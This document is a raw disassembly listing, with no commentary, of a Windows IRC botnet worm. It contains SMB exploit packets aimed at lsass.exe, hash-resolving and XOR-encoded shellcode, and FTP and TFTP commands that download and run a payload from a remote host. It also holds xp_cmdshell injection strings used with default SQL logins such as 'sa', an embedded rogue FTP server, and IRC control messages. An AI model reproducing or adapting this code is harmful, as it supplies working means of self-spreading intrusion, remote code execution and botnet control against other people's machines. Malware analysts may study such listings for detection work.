; DATA XREF: sub_403C74+85o
dd 0FEFF0000h, 0
dd 2006200h
aPcNetworkPro_0 db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWor_0 db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 2 dup(0)
dword_4259C8 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_403C74+B1o
dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0
dd 20000000h, 0
dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
dd 4 dup(0)
aWindows20002_0:
unicode 0, <Windows 2000 2195>,0
aWindows20005_1:
unicode 0, <Windows 2000 5.0>,0
align 10h
dd 2 dup(0)
dword_425A78 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_403C74+D8o
dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0
dd 57000000h, 0
dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
dd 0
dd 47000000h, 0
dd 40000000h, 0
dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h
dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h
dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h
dd 2E0035h, 30h, 0
dword_425B58 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_403833+59o
dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch
dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h
dd 5C0030h, 500049h
aC_0: ; DATA XREF: sub_403833+8Bo
unicode 0, <C$>,0
a?????_0 db '?????',0
align 10h
dword_425BC0 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_403833+2ACo
dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0
dd 2019Fh, 3 dup(0)
dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h
dd 2 dup(0)
dword_425C30 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_403833+2D3o
dd 4DC0800h, 500800h, 48000010h, 0
dd 4, 2 dup(0)
dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h
dd 5C0045h, 0
dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh
dd 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 2 dup(0)
dword_425CD8 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_403833+3B2o
dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h
dd 5C0045h, 0
dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
dd 3ECh, 0
off_425D58 dd offset loc_401493+2 ; DATA XREF: sub_403833+3E0o
dd 3, 40707Ch, 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset loc_407078+4
dd 1, 0
dd 1, 0
dd offset loc_407078+4
dd 1, 0
dd 1, 0
dd offset loc_407078+4
dd 1, 0
dd 1, 0
dd 138578h, 0E9A65BABh, 2 dup(0)
dword_425DF0 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
; DATA XREF: sub_403833+308o
dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h
dd 8FFFFFFh, 10B800h, 4010B800h, 0
dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h
dd 0DADh, 0
dd 0DADh, 2 dup(0)
dword_425E60 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_403833+333o
dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h
dd 5C0045h, 0
dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 2 dup(0)
dword_425ED8 dd 0 dd offset loc_40A899+1
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset loc_40A899+1
dd 1, 0
dd 1, 0
dd offset loc_40A899+1
dd 1, 0
dd 1, 0
dd offset loc_40A899+1
dd 1, 0
dd 1, 3 dup(0)
aWinxpProfess_0 db 'WinXP Professional [universal] lsass.exe ',0
align 8
dword_425F98 dd 1004600h ; sub_403833+247r
dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
dd 6C6C642Eh, 2 dup(0)
dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
dd 70617274h, 6C6C642Eh, 2 dup(0)
dd 751C123Ch, 0Fh dup(0)
aEchoOpenSDOEch db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu'
; DATA XREF: sub_4036D2+BEo
; sub_40514F+9Do
db 'it >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
align 4
aTftpISGetS db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_4036D2+97o
aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_4040E5+B2o
align 4
dword_4260DC dd 10FF8h, 0 dword_4260E4 dd 10FF8h dword_4260E8 dd 7FFDF020h, 0 dword_4260F0 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) dd 13370000h, 0
dd 2006200h
aPcNetworkPro_1 db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWor_1 db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_426178 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 13370000h, 0
dd 0FF0Ch, 0A110400h, 2 dup(0)
dword_4261A8 dd 0 dd 800000D4h, 2 dup(0)
unk_4261B8 db 81h ; ; DATA XREF: sub_4045DE+Ao
db 2 dup(0), 44h
aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0
dd 2 dup(0)
byte_426208 db 41h ; DATA XREF: sub_40467C+108r
aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
align 10h
; =============== S U B R O U T I N E =======================================
sub_426250 proc near ; DATA XREF: .text:00404956o
push ebx
push esi
push edi
sub sp, 80h
mov esi, esp
call sub_42634C
push dword ptr [esi]
push 63D61209h
call sub_426362
mov [esi+8], eax
call sub_426315
push dword ptr [esi+4]
push 0CA2BD06Bh
call sub_426362
mov [esi+0Ch], eax
call sub_4262C7
push dword ptr [esi+4]
push 4C0297FAh
call sub_426362
xor ebx, ebx
push 410h
push ebx
call eax
mov ebx, eax
push esi
mov esi, [esi+10h]
mov edi, eax
mov ecx, 410h
rep movsb
pop esi
xor eax, eax
push eax
push eax
push eax
push ebx
push eax
push eax
call dword ptr [esi+0Ch]
mov eax, [esi+8]
add sp, 80h
pop edi
pop esi
pop ebx
jmp eax
sub_426250 endp
; =============== S U B R O U T I N E =======================================
sub_4262C7 proc near ; CODE XREF: sub_426250+33p
var_20 = dword ptr -20h
var_14 = dword ptr -14h
pusha
call sub_4262F0
mov eax, [esp+20h+var_14]
lea ebx, [eax+7Ch]
add dword ptr [ebx+3Ch], 5
add dword ptr [ebx+28h], 1000h
and dword ptr [ebx+28h], 0FFFFF000h
mov eax, [esp+20h+var_20]
add esp, 14h
push eax
xor eax, eax
retn
sub_4262C7 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4262F0 proc near ; CODE XREF: sub_4262C7+1p
xor edx, edx
push dword ptr fs:[edx]
mov fs:[edx], esp
xor ebx, ebx
mov eax, 42904290h
loc_4262FF: ; CODE XREF: sub_4262F0+1Aj
xor ecx, ecx
mov cl, 2
mov edi, ebx
repe scasd
jz short loc_42630C
inc ebx
jmp short loc_4262FF
; ---------------------------------------------------------------------------
loc_42630C: ; CODE XREF: sub_4262F0+17j
mov [esi+10h], edi
pop dword ptr fs:[edx]
pop eax
popa
retn
sub_4262F0 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_426315 proc near ; CODE XREF: sub_426250+1Ep
pusha
mov edi, 7FFDF020h
mov ebx, [edi]
mov eax, [esi+8]
mov [edi], eax
mov edi, [edi-8]
add edi, 178h
mov ecx, edi
loc_42632D: ; CODE XREF: sub_426315+1Ej
cmp [ecx], ebx
jz short loc_426335
mov ecx, [ecx]
jmp short loc_42632D
; ---------------------------------------------------------------------------
loc_426335: ; CODE XREF: sub_426315+1Aj
mov edx, edi
loc_426337: ; CODE XREF: sub_426315+2Aj
cmp [edx+4], ebx
jz short loc_426341
mov edx, [edx+4]
jmp short loc_426337
; ---------------------------------------------------------------------------
loc_426341: ; CODE XREF: sub_426315+25j
mov [ecx], edx
mov [edx+4], ecx
mov byte ptr [ebx-3], 1
popa
retn
sub_426315 endp
; =============== S U B R O U T I N E =======================================
sub_42634C proc near ; CODE XREF: sub_426250+Ap
mov eax, ds:7FFDF00Ch
mov eax, [eax+1Ch]
mov ebx, [eax+8]
mov [esi], ebx
mov eax, [eax]
mov eax, [eax+8]
mov [esi+4], eax
retn
sub_42634C endp
; =============== S U B R O U T I N E =======================================
sub_426362 proc near ; CODE XREF: sub_426250+16p
; sub_426250+2Bp ...
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
pusha
mov ebp, [esp+20h+arg_4]
mov eax, [ebp+3Ch]
mov edx, [ebp+eax+78h]
add edx, ebp
mov ecx, [edx+18h]
mov ebx, [edx+20h]
add ebx, ebp
loc_426378: ; CODE XREF: sub_426362+33j
jecxz short loc_4263B2
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor edi, edi
xor eax, eax
cld
loc_426385: ; CODE XREF: sub_426362+2Dj
lodsb
cmp al, ah
jz short loc_426391
ror edi, 0Dh
add edi, eax
jmp short loc_426385
; ---------------------------------------------------------------------------
loc_426391: ; CODE XREF: sub_426362+26j
cmp edi, [esp+20h+arg_0]
jnz short loc_426378
mov ebx, [edx+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edx+1Ch]
add ebx, ebp
mov eax, [ebx+ecx*4]
add eax, ebp
mov [esp+20h+var_4], eax
popa
retn 8
; ---------------------------------------------------------------------------
loc_4263B2: ; CODE XREF: sub_426362:loc_426378j
; sub_426362:loc_4263B2j
jmp short loc_4263B2
sub_426362 endp
; ---------------------------------------------------------------------------
align 8
; =============== S U B R O U T I N E =======================================
sub_4263B8 proc near ; DATA XREF: .text:00404906o
arg_0 = dword ptr 4
add esp, 0FFFFF254h
cld
call sub_42640A
mov eax, [ebp+3Ch]
mov edi, [ebp+eax+78h]
add edi, ebp
mov ecx, [edi+18h]
mov ebx, [edi+20h]
add ebx, ebp
loc_4263D5: ; CODE XREF: sub_4263B8+38j
jecxz short loc_426405
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor eax, eax
cdq
loc_4263E0: ; CODE XREF: sub_4263B8+32j
lodsb
test al, al
jz short loc_4263EC
ror edx, 0Dh
add edx, eax
jmp short loc_4263E0
; ---------------------------------------------------------------------------
loc_4263EC: ; CODE XREF: sub_4263B8+2Bj
cmp edx, [esp+arg_0]
jnz short loc_4263D5
mov ebx, [edi+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edi+1Ch]
add ebx, ebp
mov ebx, [ebx+ecx*4]
add ebx, ebp
loc_426405: ; CODE XREF: sub_4263B8:loc_4263D5j
mov [esp+arg_0], ebx
retn
sub_4263B8 endp
; =============== S U B R O U T I N E =======================================
sub_42640A proc near ; CODE XREF: sub_4263B8+7p
; FUNCTION CHUNK AT 00426442 SIZE 00000007 BYTES
xor eax, eax
mov eax, fs:[eax+30h]
test eax, eax
js short loc_426423
mov eax, [eax+0Ch]
mov esi, [eax+1Ch]
lodsd
mov ebp, [eax+8]
jmp loc_42642E
; ---------------------------------------------------------------------------
loc_426423: ; CODE XREF: sub_42640A+8j
mov eax, [eax+34h]
add eax, 7Ch
mov ebp, [eax+3Ch]
loc_42642E: ; CODE XREF: sub_42640A+14j
pop edi
xor esi, esi
pusha
push esi
jmp short loc_426442
sub_42640A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_426435 proc near ; CODE XREF: sub_42640A:loc_426442p
push 60E0CEEFh
push 0E8AFE98h
push edi
jmp edi
sub_426435 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42640A
loc_426442: ; CODE XREF: sub_42640A+29j
call sub_426435
loc_426447: ; DATA XREF: sub_40408A+1Bo
; sub_40CD3A+7CDo ...
add [ebx], ah
; END OF FUNCTION CHUNK FOR sub_42640A
; ---------------------------------------------------------------------------
db 3 dup(0)
dword_42644C dd 60h dword_426450 dd 62B0606h, 2050501h, 0A0hdword_42645C dd 30h ; .text:0042C45Co ...
dword_426460 dd 0A1h dword_426464 dd 3 aCccc db 'CCCC',0 ; DATA XREF: sub_4040E5+153o
align 10h
loc_426470: ; DATA XREF: sub_4040E5+E8o
jmp short near ptr dword_426478
; ---------------------------------------------------------------------------
align 8
dword_426478 dd 0 dword_42647C dd 2F2F7325h, 2E732520h, 0aCmdKEchoOpenSD db 'cmd /k echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
; DATA XREF: .text:0040492Bo
db 'echo quit >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
aExecMaster___0 db 'EXEC master..xp_cmdshell ',27h,'%s',27h,0 ; DATA XREF: sub_404EC7+186o
align 4
; aExecMaster(long long, *)
aExecMaster__xp db 'EXEC master..xp_cmdshell ',27h,'del eq&echo open %s %d >> eq&echo us'
; DATA XREF: sub_404EC7+152o
db 'er %d %d >> eq &echo get %s >> eq &echo quit >> eq &ftp -n -s:eq '
db '&%s&del eq',0Dh,0Ah
db 27h,0
align 4
aDriverSqlServe db 'DRIVER={SQL Server};SERVER=%s,%d;UID=%s;PWD=%s;%s',0
; DATA XREF: sub_404EC7+BEo
align 4
aAdmin db 'admin',0 ; DATA XREF: sub_404EC7+29o
; .text:0042C3F0o
align 4
aRoot db 'root',0 ; DATA XREF: sub_404EC7+22o
; .text:0042C3F8o ...
align 4
aSa db 'sa',0 ; DATA XREF: sub_404EC7+1Bo
; .text:0042DAC4o
align 10h
dword_4265F0 dd 0C933FA8Bh, 909035B2h, 0C1816690h, 0C7830138h
; DATA XREF: .text:00405326o
db 1Ah
; ---------------------------------------------------------------------------
loc_426601: ; CODE XREF: .text:00426608j
mov bl, [edi]
xor bl, dl
mov [edi], bl
inc edi
loop loc_426601
ficom word ptr [esi]
dec edi
pop esp
aaa
xor [ecx+6Ch], bl
; ---------------------------------------------------------------------------
dw 28CDh
dd 0E4B9EBA9h, 36E14579h, 151512C5h, 66623D05h, 7066A07h
dd 7979711Bh, 0DD30DE34h, 0CACACACCh, 1FD8B668h, 516C055Fh
dd 75BE34BEh, 2945BE39h, 3D4DBE98h, 0BE096AB8h, 0BECE342Eh
dd 0CE344D6Eh, 34297EBEh, 1166BECCh, 6466CF34h, 156EBE67h
dd 0FC04CE34h, 0ACF50474h, 34BE01BEh, 0F70499CBh, 0F5B1D7E4h
dd 833AC240h, 71B83070h, 0C533170h, 53D44025h, 6D6F2504h
dd 6765636Bh, 74257B1Eh, 7F39823Ah, 34BD31BEh, 78833ACDh
dd 0B871BC30h, 3078CBEDh, 78CB8B40h, 0CB144131h, 68B81778h
dd 0E5CA662Dh, 315FF2BCh, 3070BD6Dh, 3F4270B5h, 0B54168B8h
dd 0DC21135Eh, 0CACACA4Dh, 0EE04FBBCh, 66666666h, 0CA637363h
dd 6D60A2E5h, 5F05BC53h, 0CA626025h, 637BE160h, 0F960CA62h
dd 0CA626066h, 0B8A2E560h, 0CA65BD70h, 6060D160h, 0B8DD60CAh
dd 0A1393071h, 501B5D66h, 695D504Dh, 0A1515856h, 70B8E704h
dd 6262A1F9h, 0CB666662h, 67C734F3h, 4D70B8A1h, 0BD70B865h
dd 663D8465h, 0CB255F66h, 666667FBh, 60CA6066h, 0CACA5FD9h
dd 0D560h
word_426744 dw 7A69h ; DATA XREF: sub_40514F+30r
align 4
a221GoodbyeHapp db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_405398+5B1o
aQuit db 'QUIT',0 ; DATA XREF: sub_405398+59Do
; sub_40CD3A+4FCo
align 4
a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0
; DATA XREF: sub_405398+590o
align 10h
dword_426790 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
; DATA XREF: sub_405398+545o
dd 2029206Ch, 2BBBB02h
aFileSentToSOnP db ' File sent to %s on port %d, now executing %s on remote machine.'
db 0
align 10h
a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_405398+526o
a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0
; DATA XREF: sub_405398+4FAo
align 4
aRetr db 'RETR',0 ; DATA XREF: sub_405398+4E2o
align 4
a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_405398+4D2o
align 4
aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: sub_405398+4C1o
aXX db '%x%x',0Ah,0 ; DATA XREF: sub_405398+48Eo
align 10h
aS db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_405398+44Ao
db ']',0
aPort db 'PORT',0 ; DATA XREF: sub_405398+411o
align 10h
a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_405398+3E3o
align 4
aList db 'LIST',0 ; DATA XREF: sub_405398+3D0o
align 10h
a425PassiveNotS db '425 Passive not supported on this server',0Ah,0
; DATA XREF: sub_405398+395o
align 4
aPasv db 'PASV',0 ; DATA XREF: sub_405398+382o
align 4
a200TypeSetToI_ db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_405398+372o
aI: ; DATA XREF: sub_405398+35Eo
unicode 0, <I>,0
a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_405398+337o
aA: ; DATA XREF: sub_405398+323o
unicode 0, <A>,0
aType db 'TYPE',0 ; DATA XREF: sub_405398+30Co
; sub_405398+347o
align 4
a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_405398+2FCo
align 4
off_42694C dd offset dword_445750 ; DATA XREF: sub_405398+2E8o
a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: sub_405398+2D8o
align 4
aRest db 'REST',0 ; DATA XREF: sub_405398+2C4o
align 4
a215Fuckftpd db '215 fuckFtpd',0Ah,0 ; DATA XREF: sub_405398+2B4o
align 4
aSyst db 'SYST',0 ; DATA XREF: sub_405398+2A0o
align 4
a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: sub_405398+290o
align 4
aPass db 'PASS',0 ; DATA XREF: sub_405398+27Co
align 4
a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: sub_405398+26Co
align 4
aUser_0 db 'USER',0 ; DATA XREF: sub_405398+257o
; .text:0042C428o ...
align 4
aSS db '%s %s',0 ; DATA XREF: sub_405398+246o
align 4
a220Fuckftpd0wn db '220 fuckFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_405398+1C8o
align 4
aRb db 'rb',0 ; DATA XREF: sub_4059FC+24o
; sub_406B84+12Eo ...
align 4
unk_4269E8 db 2 ; DATA XREF: sub_405A96+3D3o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorServerFai db 'Error: server failed, returned: <%d>.',0
align 10h
asc_426A30 db 0Dh,0Ah,0 ; DATA XREF: sub_405A96+2BEo
align 4
asc_426A34: ; DATA XREF: sub_405A96+282o
; sub_40CD3A+A8o ...
unicode 0, < >,0
aGet db 'GET ',0 ; DATA XREF: sub_405A96+258o
align 10h
aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405ECC+F0o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Content-Length: %i',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 10h
aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405ECC+D3o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 4
aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_405ECC+97o
; sub_40A9D8+1AEo
align 4
aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_405ECC+83o
align 4
aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_405ECC:loc_405F37o
align 4
aTextHtml db 'text/html',0 ; DATA XREF: sub_405ECC+64o
align 8
unk_426C58 db 2 ; DATA XREF: sub_406048+27Co
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0
align 8
unk_426CA8 db 2 ; DATA XREF: sub_406048+20Ao
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aWorkerThreadOf db 'Worker thread of server thread: %d.',0
asc_426CEC: ; DATA XREF: sub_406048+156o
; .text:0042E290o
unicode 0, <*>,0
asc_426CF0: ; DATA XREF: sub_406048+FAo
; sub_4062F7+29o ...
dw 0Ah
unicode 0, <>,0
aSS_2 db '%s%s',0 ; DATA XREF: sub_406048+E9o
; sub_4062F7+4CFo ...
align 4
aS_1 db '%s',0 ; DATA XREF: sub_406048+39o
; sub_40A53E+4Co ...
align 10h
aS_2 db '\%s',0 ; DATA XREF: sub_406048+2Fo
aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0
; DATA XREF: sub_4062F7+64Do
align 10h
aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_4062F7+638o
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah
db '</TABLE>',0Dh,0Ah
db '</BODY>',0Dh,0Ah
db '</HTML>',0Dh,0Ah,0
align 4
aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
; DATA XREF: sub_4062F7+61Do
align 4
a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_4062F7+58Eo
align 8
aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_4062F7+566o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_4062F7:loc_40681Ao
align 4
aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_4062F7+51Co
align 4
aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_4062F7+476o
align 10h
a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_4062F7+439o
align 10h
aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_4062F7+406o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_4062F7:loc_4066C4o
align 10h
aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_4062F7+3C6o
align 10h
aSS_0 db '%s%s/',0 ; DATA XREF: sub_4062F7+379o
align 4
aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_4062F7+335o
; sub_4062F7+48Bo
db '<TD WIDTH="%d"><A HREF="',0
align 4
aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_4062F7+308o
align 4
aS_0 db '<%s>',0 ; DATA XREF: sub_4062F7+2DEo
; sub_4062F7+418o
align 4
a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_4062F7+2B4o
aAm db 'AM',0 ; DATA XREF: sub_4062F7+293o
align 10h
aPm db 'PM',0 ; DATA XREF: sub_4062F7+284o
align 4
a__1: ; DATA XREF: sub_4062F7+24Co
unicode 0, <.>,0
a__ db '..',0 ; DATA XREF: sub_4062F7+231o
align 10h
aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_4062F7+1BFo
db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
db 'D>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_4062F7+146o
aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_4062F7+12Ao
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 8
aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_4062F7+F6o
db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_4062F7+ACo
db '<TABLE BORDER="0">',0Dh,0Ah,0
align 10h
aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_4062F7+77o
db '<HEAD>',0Dh,0Ah
db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
db '</HEAD>',0Dh,0Ah
db '<BODY>',0Dh,0Ah,0
align 10h
aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_4062F7+4Bo
aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_406A63+8Fo
db 'Referer: %s',0Ah
db 'Host: %s',0Ah
db 'Connection: close',0Ah
db 0Ah,0
dword_4271B8 dd 4000500h, 7868746Bh, 2 dup(0)dword_4271C8 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
; DATA XREF: sub_406B84+479o
dd 2029206Ch, 2BBBB02h
aFileSentToSExe db ' File sent to %s, executing %s on remote machine.',0
align 4
unk_427218 db 2 ; DATA XREF: sub_406B84+3B6o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 74h ; t
